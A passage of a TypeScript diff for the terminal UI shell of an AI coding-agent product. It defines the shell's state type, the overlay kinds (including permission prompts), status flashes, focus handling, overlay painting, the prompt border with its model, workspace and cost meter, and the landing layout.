registry-backed palette item is accepted (`dispatch: "command"`). + * Residual openers never hit this path. + */ + readonly onCommand?: PaletteOnCommand + /** + * Invoked when the palette "observe" action runs. Returns the live + * `ObserveSession` to enter, or `null` when no subagent is running. + * Unset (demo/smoke) falls back to `makeObserveFixture()`. + */ + readonly onObserveRequest?: PaletteOnObserveRequest + /** + * First-run telemetry disclosure for the landing screen. Omitted once the + * notice has been shown, so it is not permanent chrome. + */ + readonly telemetryNotice?: string + /** + * Clipboard port for Alt+C. Defaults to an in-memory recorder so tests and + * demos never shell out; the product host injects the system clipboard. + */ + readonly clipboard?: ClipboardPort + /** + * Mouse-reporting switch behind Alt+M. Absent means the shell has no + * renderer-level control (tests, demos) and reports the toggle unavailable. + */ + readonly mouseCapture?: MouseCapturePort +} + +/** + * Renderer-level DEC mouse reporting control. While reporting is on the + * terminal hands drags to us instead of selecting text, so the user needs a + * way to hand it back. + */ +export type MouseCapturePort = { + readonly get: () => boolean + readonly set: (enabled: boolean) => void +} + +export type AppShell = { + readonly renderer: ShellRenderer + readonly root: BoxRenderable + /** Blank rows above the first transcript row (0 on short terminals). */ + readonly topPad: BoxRenderable + /** Blank row below the prompt box (0 on short terminals). */ + readonly bottomPad: BoxRenderable + /** Optional chrome zones (constitution goal/task/agents). */ + readonly goalBox: BoxRenderable + readonly goalText: TextRenderable + readonly taskBox: BoxRenderable + readonly taskText: TextRenderable + readonly agentsBox: BoxRenderable + readonly agentsText: TextRenderable + readonly transcript: ScrollBoxRenderable + readonly overlayHost: BoxRenderable + readonly overlayTitle: TextRenderable + readonly overlayBody: BoxRenderable + readonly prompt: PromptInput + readonly promptBox: BoxRenderable + /** The input's own row, bordered left and right only. */ + readonly promptField: BoxRenderable + /** Top border of the prompt box — carries the model label. */ + readonly promptTopRule: TextRenderable + /** Bottom border — carries the brand lockup and the workspace label. */ + readonly promptBottomRule: TextRenderable + /** Transient state row above the prompt box (hidden when it has nothing to say). */ + readonly notice: TextRenderable + /** Latest geometry resolution (updated on resize / relayout). */ + layout: GeometryLayout + /** Focus tree + scroll lease (updated by shell helpers). */ + focus: FocusState + /** Session queue / steer / interrupt bag. */ + session: SessionQueueState + /** Pending queue count (mirrors badgeCount(session)). */ + pendingQueue: number + /** Transcript line count (append counter / full log length). */ + lineCount: number + /** Full stream log (windowed paint; never unbounded render tree). */ + streamLog: StreamRow[] + /** + * Distinct writers in the visible transcript. Rows carry a name and icon only + * once this holds more than one, so identity appears where it disambiguates. + */ + agentVoices: Set + /** + * Session name. Held for hosts that rename a session; it is not chrome — + * an unnamed session shows nothing rather than a placeholder. + */ + baseTitle: string + /** Composed `profile · model · effort` label carried by the top border. */ + modelLabel: string | null + /** Working directory and git branch carried by the bottom border. */ + workspace: { cwd: string; branch: string | null } + /** Overlay list viewport (null when closed). */ + overlayList: ListViewportState | null + /** Overlay item labels currently shown. */ + overlayItems: readonly string[] + /** Which primary overlay is open (null when closed). */ + overlayKind: PrimaryOverlayKind | null + /** Optional long body lines painted above the list (operator question). */ + overlayBodyLines: readonly string[] + /** Palette role per body line, aligned with overlayBodyLines. */ + overlayBodyFgs: readonly string[] + /** Palette command ids aligned with overlayItems when kind is palette. */ + paletteCommands: readonly PaletteCommand[] + /** Clipboard port for keyboard copy (tests inject recording port). */ + clipboard: ClipboardPort + /** Mouse-reporting control for Alt+M, or null when the host has none. */ + mouseCapture: MouseCapturePort | null + /** + * Frozen copy targets while the copy overlay is open (null when closed). + * Confirm writes from this snapshot, not live streamLog. + */ + copyTargets: readonly CopyTarget[] | null + /** + * Short transient flash (copy feedback, etc.). Cleared when replaced or + * set to null; never appended to the stream log. + */ + statusFlash: string | null + /** + * Live turn phase ("Thinking…", "Running tool…", …) or null when idle. + * Lives on the transient notice row rather than a chrome zone because the product host + * owns the goal/task/agents zones and overwrites them wholesale on every + * snapshot push, which would clobber a per-token progress line. + */ + turnPhase: string | null + /** + * Clock, motion and content state for the bottom-left status slot. The bridge + * pushes all of it off its existing monitor tick (`setLockupFrame`); the + * shell never reads a clock of its own, so a shell without a bridge simply + * paints the settled idle slot. + */ + lockupNowMs: number + lockupAnimating: boolean + /** Live phase word the slot shows, or null for the idle wordmark. */ + lockupPhase: string | null + /** Clock reading when `lockupPhase` last changed — the fade's origin. */ + lockupChangedMs: number + /** + * Cost/context meter carried by the bottom border, or null when the active + * session has nothing to report (context window unknown). Pushed by the + * host whenever the run sink's usage changes — no timer of its own. + */ + costContext: CostContextMeter | null + /** + * Active subagent observe session (null when viewing parent). + * Independent stream window; Esc restores parent lease. + */ + observe: { + sessionId: string + agentId: string + description: string + lines: StreamRow[] + } | null + /** Parent stream snapshot while observe is active. */ + parentStreamLog: StreamRow[] | null + /** + * Readline kill ring backing Ctrl+Y/Alt+Y. Ctrl+K/U/W and Alt+D feed it; + * the text widget itself has no concept of a kill ring (see + * ./prompt-kill-ring.js). + */ + promptKillRing: KillRing + /** Images attached with Ctrl+P, sent with the next prompt submit. */ + pendingAttachments: PendingImageAttachment[] + /** Up/Down recall of messages already sent in this session. */ + sentHistory: SentHistoryBrowse + /** Detach key/resize listeners and unmount root. */ + dispose: () => void + /** + * True once `dispose` has run. Paint entry points read this: a caller that + * outlives the shell — a poll timer, a resolved async continuation — would + * otherwise write into renderables whose native buffers are already freed. + */ + disposed: boolean +} + +export type PrimaryOverlayKind = + | "permissions" + | "operator" + | "model_picker" + | "demo" + | "palette" + | "settings" + | "help" + | "plugins" + | "resume" + | "mentions" + | "copy" + | "hooks" + | "plugin_credentials" + +const DEFAULT_TITLE = "corbits" +const DEFAULT_OVERLAY_ITEMS = [ + "Allow bash: ls", + "Allow bash: cat README", + "Deny this tool", + "Always allow bash", +] as const + +function terminalOf( + renderer: ShellRenderer, + override?: { readonly columns: number; readonly rows: number }, +): { columns: number; rows: number } { + if (override) { + return { + columns: Math.max(1, Math.floor(override.columns)), + rows: Math.max(1, Math.floor(override.rows)), + } + } + return { + columns: Math.max(1, Math.floor(renderer.width || 80)), + rows: Math.max(1, Math.floor(renderer.height || 24)), + } +} + +function defaultVisibility(visibility?: ZoneVisibility): ZoneVisibility { + return { + notice: false, + progress: false, + progressDivider: false, + ...visibility, + } +} + +/** Whether the transcript viewport is stuck to the bottom (FOLLOW vs PINNED). */ +export function isTranscriptFollowing(shell: AppShell): boolean { + const { transcript } = shell + const max = Math.max(0, transcript.scrollHeight - transcript.height) + return transcript.scrollTop >= max - 1 +} + +/** Sticky-scroll mode label (surfaced on the notice row only when PINNED). */ +export function stickyMode(shell: AppShell): "FOLLOW" | "PINNED" { + return isTranscriptFollowing(shell) ? "FOLLOW" : "PINNED" +} + +function syncPending(shell: AppShell): void { + shell.pendingQueue = badgeCount(shell.session) +} + +/** The transient row's text for the current state ("" when it has nothing to say). */ +export function noticeText(shell: AppShell): string { + return composeNoticeLine({ + queue: shell.pendingQueue, + interrupt: shell.session.interruptFlash, + pinned: !isTranscriptFollowing(shell), + flash: shell.statusFlash, + attachments: shell.pendingAttachments.length, + }) +} + +/** Repaint the prompt borders and the transient notice row from live state. */ +export function paintChrome(shell: AppShell): void { + if (shell.disposed) return + syncPending(shell) + const notice = noticeText(shell) + shell.notice.content = new StyledText([ + fgChunk(UI.textDim)(notice.length > 0 ? ` ${notice}` : ""), + ]) + paintPromptBorder(shell) + syncLandingSuggestions(shell) + syncNoticeRow(shell, notice) +} + +/** + * Give the notice row a row only while it has something to say, and take it + * back the moment it does not. The relayout re-enters paintChrome, which then + * finds the visibility already correct and stops. + */ +function syncNoticeRow(shell: AppShell, notice: string): void { + paintedNotice.set(shell, notice) + const bag = internals.get(shell) + if (bag === undefined) return + const wanted = notice.length > 0 + if ((bag.visibility.notice ?? false) === wanted) return + relayout(shell, { visibility: { ...bag.visibility, notice: wanted } }) +} + +/** + * Re-read the notice once the layout pass has run. + * + * `pinned` is derived from the scroll box's own numbers, and those describe the + * *last completed* layout: chrome painted at row-mutation time can read a + * transcript that is following its tail as pinned, for the one frame between a + * row landing and sticky-scroll re-applying. Repaints only when the wording + * actually changed, so a settled frame costs a string compare. + */ +function syncNoticeAfterLayout(shell: AppShell): void { + if (noticeText(shell) !== paintedNotice.get(shell)) paintChrome(shell) +} + +/** Notice wording currently on the row, for the post-layout re-read. */ +const paintedNotice = new WeakMap() + +/** Withdraw or restore the landing starters as the prompt fills and empties. */ +function syncLandingSuggestions(shell: AppShell): void { + const bag = internals.get(shell) + if (!bag) return + const landing = bag.landing + const content = bag.landingBelow + if (landing === null || content === null) return + const visible = shell.prompt.value.length === 0 + if (visible === bag.landingSuggestionsVisible) return + bag.landingSuggestionsVisible = visible + paintLandingBelow(landing.below, content, visible) +} + +/** + * Advance the status slot's clock and publish what it says. Callers own the + * tick; the shell only repaints when the frame it would draw can actually + * differ. + * + * A change of phase stamps the fade's origin, so the crossfade runs off the + * frames the monitor is already scheduling for the live turn. Settling snaps + * straight to the idle slot rather than fading into it: the tick stops on the + * frame the turn ends, and a transition with no frames left to draw is worse + * than none. + */ +export function setLockupFrame( + shell: AppShell, + nowMs: number, + animating: boolean, + phase: string | null = null, +): void { + const settled = !animating && !shell.lockupAnimating + shell.lockupNowMs = nowMs + const changed = phase !== shell.lockupPhase + if (changed) { + shell.lockupPhase = phase + shell.lockupChangedMs = nowMs + } + if (settled && !changed && shell.lockupAnimating === animating) return + shell.lockupAnimating = animating + paintChrome(shell) +} + +/** Queue an image for the next submit and reflect it on the notice row. */ +export function addPendingAttachment( + shell: AppShell, + attachment: PendingImageAttachment, +): void { + shell.pendingAttachments = [...shell.pendingAttachments, attachment] + paintChrome(shell) +} + +export function clearPendingAttachments(shell: AppShell): void { + shell.pendingAttachments = [] + paintChrome(shell) +} + +/** + * Ctrl+P: read an image off the clipboard into the pending set. + * Resolves false (with a status flash) when nothing was attached. + */ +export async function attachClipboardImage(shell: AppShell): Promise { + const source = shellPromptImageSource.get(shell) ?? readClipboardImage + setStatusFlash(shell, "reading clipboard image…") + const result = await source() + if (!result.ok) { + setStatusFlash(shell, `image attach failed: ${result.reason}`) + return false + } + addPendingAttachment(shell, result.attachment) + setStatusFlash(shell, `attached ${result.attachment.name}`) + return true +} + +/** Seed the Up/Down recall list (host replays persisted session messages). */ +export function setSentMessageHistory( + shell: AppShell, + sent: readonly string[], +): void { + shell.sentHistory = createSentHistoryBrowse(sent) +} + +function recordSentMessage(shell: AppShell, text: string): void { + shell.sentHistory = createSentHistoryBrowse([...shell.sentHistory.sent, text]) +} + +/** + * How a timed flash arms its own expiry. Injectable so tests can lapse a + * window without waiting out its real duration; returns the cancel. + */ +export type FlashSchedule = (fn: () => void, ms: number) => () => void + +const defaultFlashSchedule: FlashSchedule = (fn, ms) => { + const timer = setTimeout(fn, ms) + // A pending flash must never be the reason the process stays alive. + ;(timer as { unref?: () => void }).unref?.() + return () => { + clearTimeout(timer) + } +} + +export type FlashOptions = { + /** Lifetime of the flash; omitted means it stays until something replaces it. */ + readonly ttlMs?: number + readonly schedule?: FlashSchedule +} + +/** Cancel for the flash currently counting down, per shell. */ +const flashTimers = new WeakMap void>() + +/** + * Set a non-destructive flash and repaint (does not touch streamLog). + * + * A flash with a `ttlMs` clears itself when its window lapses. Anything whose + * wording is only true for a moment ("press ctrl+c again to exit") must say so + * for exactly that moment: left on screen it becomes a claim about a keypress + * the operator never made, and it holds a transcript row hostage for it. + */ +export function setStatusFlash( + shell: AppShell, + message: string | null, + options?: FlashOptions, +): void { + flashTimers.get(shell)?.() + flashTimers.delete(shell) + shell.statusFlash = message + paintChrome(shell) + const ttlMs = options?.ttlMs + if (message === null || ttlMs === undefined || ttlMs <= 0) return + const schedule = options?.schedule ?? defaultFlashSchedule + flashTimers.set( + shell, + schedule(() => { + flashTimers.delete(shell) + // Only this flash expires: a later one has its own window, and the row + // it is holding is not this one's to take back. + if (shell.statusFlash !== message) return + shell.statusFlash = null + paintChrome(shell) + }, ttlMs), + ) +} + +/** Set the live turn phase label (null hides it). Repaints only on change. */ +export function setTurnPhase(shell: AppShell, phase: string | null): void { + if (shell.turnPhase === phase) return + shell.turnPhase = phase + paintChrome(shell) +} + +/** Apply focus state to OpenTUI focusables. */ +export function applyFocus(shell: AppShell): void { + const owner = focusOwner(shell.focus) + // Observe is a read-only child view: the parent prompt must not swallow the + // keystrokes, so it is blurred exactly as an overlay blurs it. + if (owner === "overlay" || owner === "palette" || owner === "observe") { + if (typeof shell.prompt.blur === "function") { + shell.prompt.blur() + } + } else if (owner === "transcript") { + shell.transcript.focus() + } else { + shell.prompt.focus() + } + paintChrome(shell) +} + +export function shellFocusPrompt(shell: AppShell): void { + shell.focus = focusPrompt(shell.focus) + applyFocus(shell) +} + +export function shellFocusTranscript(shell: AppShell): void { + shell.focus = focusTranscript(shell.focus) + applyFocus(shell) +} + +export function toggleShellFocus(shell: AppShell): void { + const owner = focusOwner(shell.focus) + if (owner === "overlay" || owner === "palette") return + if (owner === "transcript") { + shellFocusPrompt(shell) + } else { + shellFocusTranscript(shell) + } +} + +function clearOverlayBody(shell: AppShell): void { + const body = shell.overlayBody + const kids = [...body.getChildren()] + for (const child of kids) { + body.remove(child) + destroySubtree(child) + } +} + +/** + * Rows the overlay host spends on itself before any list row: the bordered box + * costs a top and bottom rule, plus the title line and the wrapped body lines. + * Omitting the border here hands the list two rows the host cannot render, and + * flex then stacks the surplus rows onto cells the prompt border already owns. + */ +const OVERLAY_HOST_BORDER_ROWS = 2 + +/** Content lines the description zone paints below the rule (what, impact). */ +const DESCRIPTION_ZONE_LINES = 2 +/** Rule row plus the fixed two content lines — charged whenever `describe` is set. */ +const DESCRIPTION_ZONE_ROWS = 1 + DESCRIPTION_ZONE_LINES + +/** Rows the open overlay's description zone spends, or 0 when it has none. */ +function overlayZoneRows(shell: AppShell): number { + return internals.get(shell)?.overlayDescribe ? DESCRIPTION_ZONE_ROWS : 0 +} + +/** + * Free-text answer field an overlay can offer alongside (or instead of) its + * choices. `active` is whether keystrokes are going into it rather than into + * list navigation — the row is painted either way, so the affordance is on + * screen rather than behind a chord nobody knows about. + */ +type OverlayAnswerState = { + text: string + active: boolean + readonly onSubmit: (text: string) => void +} + +function overlayAnswerState(shell: AppShell): OverlayAnswerState | null { + return internals.get(shell)?.overlayAnswer ?? null +} + +/** The answer field costs one row of host chrome whenever it is offered. */ +function overlayAnswerRows(shell: AppShell): number { + return overlayAnswerState(shell) === null ? 0 : 1 +} + +function overlayChromeRows(shell: AppShell, bodyLineCount: number): number { + return ( + OVERLAY_HOST_BORDER_ROWS + + 1 + + bodyLineCount + + overlayZoneRows(shell) + + overlayAnswerRows(shell) + ) +} + +/** + * Stacking order for the floated overlay host. Only the landing composition + * sits under it, and that has no z-index of its own, so one step is enough. + */ +const OVERLAY_FLOAT_Z = 10 + +/** + * Lift the overlay host out of the root's column, or drop it back in. + * + * On the landing the host is a modal: the mark and the disclosure are the + * screen, and shoving them around to open a command list would make every + * overlay feel like a navigation. Absolute positioning takes the host out of + * flow so the composition beneath is untouched, anchored above the chrome the + * host used to sit on top of. With a transcript on screen the opposite is + * true — rows there are content the operator is reading, and covering them is + * worse than pushing them — so the host goes back into the column. + */ +function floatOverlayHost( + shell: AppShell, + floating: boolean, + top: number, +): void { + const host = shell.overlayHost + if (!floating) { + host.position = "relative" + host.zIndex = 0 + return + } + host.position = "absolute" + host.left = 0 + host.right = 0 + host.top = top + host.zIndex = OVERLAY_FLOAT_Z +} + + +/** Total host rows needed to show `listRows` list rows under `bodyLineCount` body lines. */ +function overlayHostRows( + shell: AppShell, + bodyLineCount: number, + listRows: number, +): number { + return overlayChromeRows(shell, bodyLineCount) + listRows +} + +function addOverlayRow( + shell: AppShell, + content: string, + fg: string, + bg?: string, +): void { + shell.overlayBody.add( + new TextRenderable(shell.renderer as CliRenderer, { + content, + fg, + ...(bg !== undefined ? { bg } : {}), + height: 1, + // Without this, a body taller than its host makes flex shrink every row + // toward zero and paint several of them into the same terminal cells. + flexShrink: 0, + }), + ) +} + +/** + * Overlays that ask a human to authorize something. They get the shaped, + * spaced treatment from overlay-body.ts; every other list overlay stays a + * plain one-row-per-item list. + */ +function isDecisionOverlay(kind: PrimaryOverlayKind | null): boolean { + return kind === "permissions" || kind === "operator" +} + +/** Display rows one list item occupies for the open overlay kind. */ +function overlayRowsPerItem(kind: PrimaryOverlayKind | null): number { + return isDecisionOverlay(kind) ? DECISION_CHOICE_ROWS : 1 +} + +/** Columns a body/choice row may paint into, inside border and leading space. */ +function overlayRowWidth(shell: AppShell): number { + return Math.max(8, Math.max(20, shell.layout.contentWidth) - 4) +} + +/** + * Title row for the overlay host, fitted to the box interior. The title + * renderable is one row in the host's chrome budget, so a line that wrapped at + * a narrow width would spend a row nothing accounted for. + */ +function overlayTitleLine( + title: string, + interior: number, + hints: readonly string[] = DEFAULT_OVERLAY_HINTS, +): string { + const suffixes = [...hints.map((h) => ` · ${h}`), ""] + for (const suffix of suffixes) { + const line = ` ${title}${suffix}` + if (line.length <= interior) return line + } + return ` ${middleEllipsis(title, Math.max(1, interior - 1))}` +} + +const DEFAULT_OVERLAY_HINTS = [ + "Esc cancel · Enter choose", + "Esc · Enter", +] as const + +/** + * Key hints for the open overlay, longest first — the title line falls back to + * shorter ones as the terminal narrows. + * + * Never promises "Enter choose" when there is nothing to choose: an overlay + * with no rows says what the operator can actually do instead. + */ +function overlayHints(shell: AppShell): readonly string[] { + const answer = overlayAnswerState(shell) + const hasChoices = shell.overlayItems.length > 0 + if (answer === null) { + if (hasChoices) return DEFAULT_OVERLAY_HINTS + return ["Esc dismiss"] + } + if (answer.active) { + return hasChoices + ? ["Esc back to choices · Enter send", "Esc back · Enter send"] + : ["Esc cancel · Enter send", "Esc · Enter"] + } + return [ + "Esc cancel · Enter choose · Tab type an answer", + "Esc · Enter · Tab type", + "Esc · Enter", + ] +} + +/** Re-compose the open overlay's title line for the current hints and width. */ +function refreshOverlayTitle(shell: AppShell): void { + const bag = internals.get(shell) + if (!bag) return + shell.overlayTitle.content = overlayTitleLine( + bag.overlayTitleText, + overlayInteriorWidth(shell), + overlayHints(shell), + ) +} + +/** Interior columns of the overlay box, inside its border. */ +function overlayInteriorWidth(shell: AppShell): number { + return overlayRowWidth(shell) + 2 +} + +/** Columns before the label column: leading space, selection marker, space. */ +const PALETTE_MARKER_WIDTH = 3 + +/** + * Palette rows are three columns wide, and the active one is a full-width band + * rather than a recolored marker. The band is the warm faint tone, not the + * action orange: a palette selection is a cursor position, not a decision the + * shell is waiting on. + */ +function paintPaletteList(shell: AppShell, list: ListViewportState): void { + const interior = overlayInteriorWidth(shell) + const columns = shell.paletteCommands.map((cmd) => + paletteRowColumns(cmd, shortcutForPaletteId), + ) + const lines = formatPaletteRows( + columns, + Math.max(4, interior - PALETTE_MARKER_WIDTH), + ) + const slice = visibleSlice(list) + for (let i = slice.start; i < slice.end; i++) { + const line = lines[i] ?? "" + const active = i === list.activeIndex + const content = ` ${active ? ">" : " "} ${line}`.padEnd(interior) + if (active) { + addOverlayRow(shell, content, UI.text, UI.textFaint) + } else { + addOverlayRow(shell, content, UI.textDim) + } + } +} + +/** Below this overlay width the description zone has no room to say anything legible. */ +const DESCRIPTION_ZONE_MIN_WIDTH = 16 +/** Below this overlay width the zone keeps `what` only and drops `impact`. */ +const DESCRIPTION_ZONE_IMPACT_MIN_WIDTH = 32 + +/** Stable id for the focused row: `itemIds[index]` when supplied, else its label. */ +function activeOverlayItemId(shell: AppShell, list: ListViewportState): string { + const bag = internals.get(shell) + return ( + bag?.overlayItemIds[list.activeIndex] ?? + shell.overlayItems[list.activeIndex] ?? + String(list.activeIndex) + ) +} + +/** + * Shape a description into its fixed two content rows. + * + * `what`'s wrapped lines fill the budget first; `impact` gets whatever is + * left, so a `what` that wraps to both lines quietly drops `impact` the same + * way a narrow overlay does — one budget, one degrade path. `null` (no + * description for this item, or width too narrow to say anything) renders + * two blank rows rather than collapsing the zone: the reservation is fixed + * whenever `describe` is set, whether or not this item has anything to say. + */ +export function describeZoneLines( + desc: ItemDescription | null, + width: number, +): { readonly lines: readonly string[]; readonly fgs: readonly string[] } { + const lines: string[] = [] + const fgs: string[] = [] + if (desc !== null && width >= DESCRIPTION_ZONE_MIN_WIDTH) { + for (const line of wrapWords(desc.what, width)) { + if (lines.length >= DESCRIPTION_ZONE_LINES) break + lines.push(line) + fgs.push(UI.textDim) + } + if (desc.impact !== undefined && width >= DESCRIPTION_ZONE_IMPACT_MIN_WIDTH) { + const impactFg = desc.tone === "consequence" ? UI.action : UI.textFaint + for (const line of wrapWords(desc.impact, width)) { + if (lines.length >= DESCRIPTION_ZONE_LINES) break + lines.push(line) + fgs.push(impactFg) + } + } + } + while (lines.length < DESCRIPTION_ZONE_LINES) { + lines.push("") + fgs.push(UI.textFaint) + } + return { lines, fgs } +} + +/** Paint the fixed rule + two-line description zone under the list, when `describe` is set. */ +function paintDescriptionZone(shell: AppShell, list: ListViewportState): void { + const describe = internals.get(shell)?.overlayDescribe + if (!describe) return + const width = overlayRowWidth(shell) + const desc = describe(activeOverlayItemId(shell, list)) + addOverlayRow(shell, ` ${"─".repeat(Math.max(0, width))}`, UI.textFaint) + const { lines, fgs } = describeZoneLines(desc, width) + lines.forEach((line, i) => { + addOverlayRow(shell, line.length > 0 ? ` ${line}` : "", fgs[i] ?? UI.textFaint) + }) +} + +function paintOverlayList(shell: AppShell): void { + const list = shell.overlayList + clearOverlayBody(shell) + if (!list) return + + shell.overlayBodyLines.forEach((line, i) => { + addOverlayRow(shell, ` ${line}`, shell.overlayBodyFgs[i] ?? UI.text) + }) + + if (shell.overlayKind === "palette" && shell.paletteCommands.length > 0) { + paintPaletteList(shell, list) + paintDescriptionZone(shell, list) + return + } + + const decision = isDecisionOverlay(shell.overlayKind) + const width = overlayRowWidth(shell) + const slice = visibleSlice(list) + for (let i = slice.start; i < slice.end; i++) { + const label = shell.overlayItems[i] ?? `item ${i}` + const active = i === list.activeIndex + if (!decision) { + addOverlayRow( + shell, + ` ${active ? ">" : " "} ${label}`, + active ? UI.text : UI.textDim, + ) + continue + } + for (const row of decisionChoiceRows(label, active, width)) { + addOverlayRow(shell, ` ${row.text}`, row.fg) + } + } + paintAnswerRow(shell) + paintDescriptionZone(shell, list) +} + +/** Cursor cell shown at the end of the answer field while it has the keys. */ +const ANSWER_CURSOR = "▌" + +/** + * Paint the free-text answer field, when the open overlay offers one. Always + * on screen so "you may type instead of picking" is visible rather than folk + * knowledge; dim and labelled with its key until it is taking keystrokes. + */ +function paintAnswerRow(shell: AppShell): void { + const answer = overlayAnswerState(shell) + if (answer === null) return + const width = overlayRowWidth(shell) + if (!answer.active) { + addOverlayRow(shell, ` Tab type your own answer`, UI.textDim) + return + } + const label = "answer> " + const room = Math.max(1, width - label.length - ANSWER_CURSOR.length) + const tail = answer.text.length > room ? answer.text.slice(-room) : answer.text + addOverlayRow(shell, ` ${label}${tail}${ANSWER_CURSOR}`, UI.text) +} + +/** + * Colour a composed rule. The frame stays faint so the labels it carries read + * as the brighter thing on the row; the brand run is swapped for the lockup's + * own cells, which is the only part of the border that animates. + */ +function ruleChunks(shell: AppShell, parts: readonly RulePart[]): TextChunk[] { + const chunks: TextChunk[] = [] + for (const part of parts) { + if (part.role === "brand") { + const cells = lockupCells(lockupFrameInput(shell)) + chunks.push(fgChunk(UI.textFaint)(" ")) + for (const cell of cells) chunks.push(fgChunk(cell.fg)(cell.char)) + chunks.push(fgChunk(UI.textFaint)(" ")) + continue + } + if (part.role === "meter") { + chunks.push(...meterChunks(shell, part.text)) + continue + } + chunks.push( + fgChunk(part.role === "label" ? UI.textDim : UI.textFaint)(part.text), + ) + } + return chunks +} + +/** + * Color a meter cell: the ramp glyphs are always orange, so pressure reads as + * *intensity* rather than a hue swap — `actionDim` while quiet, so the run + * sits as chrome and leaves `action` free for the one thing awaiting a + * decision, and only the full `action` orange once past + * `CONTEXT_PRESSURE_THRESHOLD`, when the meter itself becomes worth noticing. + * The percent and cost read as dim chrome the same as the workspace label. + */ +function meterChunks(shell: AppShell, cell: string): TextChunk[] { + const ramp = cell.slice(1, 1 + RAMP_WIDTH) + const rest = cell.slice(1 + RAMP_WIDTH) + const rampFg = shell.costContext?.pressured === true ? UI.action : UI.actionDim + return [ + fgChunk(UI.textFaint)(" "), + fgChunk(rampFg)(ramp), + fgChunk(UI.textDim)(rest), + ] +} + +/** The status slot's state, as the lockup renderer wants it. */ +function lockupFrameInput(shell: AppShell) { + return { + nowMs: shell.lockupNowMs, + still: !shell.lockupAnimating, + phase: shell.lockupPhase, + changedMs: shell.lockupChangedMs, + } +} + +/** + * Repaint both border rules. Recomposed on every pass rather than cached: a + * resize changes the column budget without changing any label, and the lockup + * changes every animation frame without changing the geometry. + */ +export function paintPromptBorder(shell: AppShell): void { + const width = shell.layout.contentWidth + const top = composeRule({ + width, + corners: [BORDER.topLeft, BORDER.topRight], + ...(shell.modelLabel !== null ? { label: shell.modelLabel } : {}), + }) + shell.promptTopRule.content = new StyledText(ruleChunks(shell, top)) + + // Corners, both rule margins, the gap and the spaces around each label are + // what the workspace has to fit inside — with the lockup if the rule can + // seat both, without it if it cannot. Where the row can only afford one, the + // information wins and the mark goes. + const withBrand = Math.max(0, width - 9 - lockupWidth(shell.lockupPhase)) + const alone = Math.max(0, width - 6) + const workspaceInput = { + cwd: shell.workspace.cwd, + branch: shell.workspace.branch, + home: homedir(), + } + // A workspace that has lost its path is a branch floating with no context, + // which is worth less than the mark it displaced. So the mark yields not just + // when the label cannot fit at all, but when keeping it would starve the path. + const roomyRaw = composeWorkspaceLabel({ ...workspaceInput, maxWidth: withBrand }) + const roomy = roomyRaw.startsWith("(") ? "" : roomyRaw + const workspace = + roomy.length > 0 + ? roomy + : composeWorkspaceLabel({ ...workspaceInput, maxWidth: alone }) + const brand = lockupText(lockupCells(lockupFrameInput(shell))) + const meter = shell.costContext + const bottom = composeRule({ + width, + corners: [BORDER.bottomLeft, BORDER.bottomRight], + ...(roomy.length > 0 || workspace.length === 0 ? { brand } : {}), + ...(meter !== null + ? { meter: costContextText(meter, true), meterCompact: costContextText(meter, false) } + : {}), + ...(workspace.length > 0 ? { label: workspace } : {}), + }) + shell.promptBottomRule.content = new StyledText(ruleChunks(shell, bottom)) +} + +/** Publish the `profile · model · effort` label carried by the top border. */ +export function setPromptModelLabel( + shell: AppShell, + input: PromptActionBarModelLabelInput, +): void { + const label = composePromptActionBarModelLabel(input) ?? null + if (label === shell.modelLabel) return + shell.modelLabel = label + paintPromptBorder(shell) +} + +/** Publish the working directory and git branch carried by the bottom border. */ +export function setPromptWorkspace( + shell: AppShell, + input: { readonly cwd?: string; readonly branch?: string | null }, +): void { + const cwd = input.cwd ?? shell.workspace.cwd + const branch = input.branch === undefined ? shell.workspace.branch : input.branch + if (cwd === shell.workspace.cwd && branch === shell.workspace.branch) return + shell.workspace = { cwd, branch } + paintPromptBorder(shell) +} + +/** + * Publish the cost/context meter carried by the bottom border. Driven by + * usage changes (a completed turn), not a timer: the percentage does not move + * between turns, so there is nothing to animate on the idle tick. + */ +export function setPromptCostContext( + shell: AppShell, + input: { readonly contextPercentUsed: number | null; readonly costLabel?: string | null }, +): void { + const meter = composeCostContextMeter(input) + if (meterEquals(meter, shell.costContext)) return + shell.costContext = meter + paintPromptBorder(shell) +} + +function meterEquals(a: CostContextMeter | null, b: CostContextMeter | null): boolean { + if (a === null || b === null) return a === b + return a.percentLabel === b.percentLabel && a.costLabel === b.costLabel +} + +/** + * How the landing divides its rows around the prompt box. + * + * A floated overlay is clipped to the rows above the box so it never covers the + * thing the operator types into. Losing the tail of a long body to that clip is + * survivable; losing every choice is not, because then the surface cannot be + * answered. So the box slides down just far enough to keep the overlay's chrome + * and one choice on screen, and the starters below it pay for the move. + */ +function landingSplitFor( + landingRows: number, + minOverlayRows: number, + padRows: number, +): { readonly above: number; readonly below: number } { + const even = splitLandingRows(landingRows) + const needed = Math.min(landingRows, minOverlayRows - padRows) + if (minOverlayRows <= 0 || even.above >= needed) return even + return { above: needed, below: Math.max(0, landingRows - needed) } +} + +export function applyLayout(shell: AppShell, layout: GeometryLayout): void { + // Rows lay themselves out against the column budget (right-aligned bubbles, + // pre-wrapped reasoning blocks), so a width change invalidates every painted + // row rather than just reflowing it. + const widthChanged = shell.layout.contentWidth !== layout.contentWidth + shell.layout = layout + const h = layout.heights + + shell.root.paddingLeft = layout.sideMargin + shell.root.paddingRight = layout.sideMargin + + const goalH = Math.max(0, h.goal) + shell.goalBox.height = goalH > 0 ? goalH : 1 + shell.goalBox.visible = goalH > 0 + + const taskH = Math.max(0, h.task) + shell.taskBox.height = taskH > 0 ? taskH : 1 + shell.taskBox.visible = taskH > 0 + + const agentsH = Math.max(0, h.agents) + shell.agentsBox.height = agentsH > 0 ? agentsH : 1 + shell.agentsBox.visible = agentsH > 0 + + // Both pads are taken out of the transcript residual, never out of chrome, + // so the resolver's row budget still sums to the terminal height. + const transcriptH = Math.max(0, h.transcript) + const padH = resolveTopPadRows(transcriptH) + shell.topPad.height = padH > 0 ? padH : 1 + shell.topPad.visible = padH > 0 + + const bottomPadH = resolveBottomMarginRows(layout.terminal.rows) + shell.bottomPad.height = bottomPadH > 0 ? bottomPadH : 1 + shell.bottomPad.visible = bottomPadH > 0 + + const overlayH = Math.max(0, h.overlay_host) + + // The landing splits the transcript residual around the prompt box so the box + // sits on the terminal's middle row instead of at its foot. An open overlay + // floats over that composition rather than displacing it, so the rows the + // resolver took for the overlay host are handed back to the split. + const bag = internals.get(shell) + const landing = bag?.landing ?? null + const landingRows = transcriptH - padH - bottomPadH + (landing === null ? 0 : overlayH) + const split = + landing === null + ? null + : landingSplitFor( + landingRows, + overlayH > 0 ? overlayHostRows(shell, 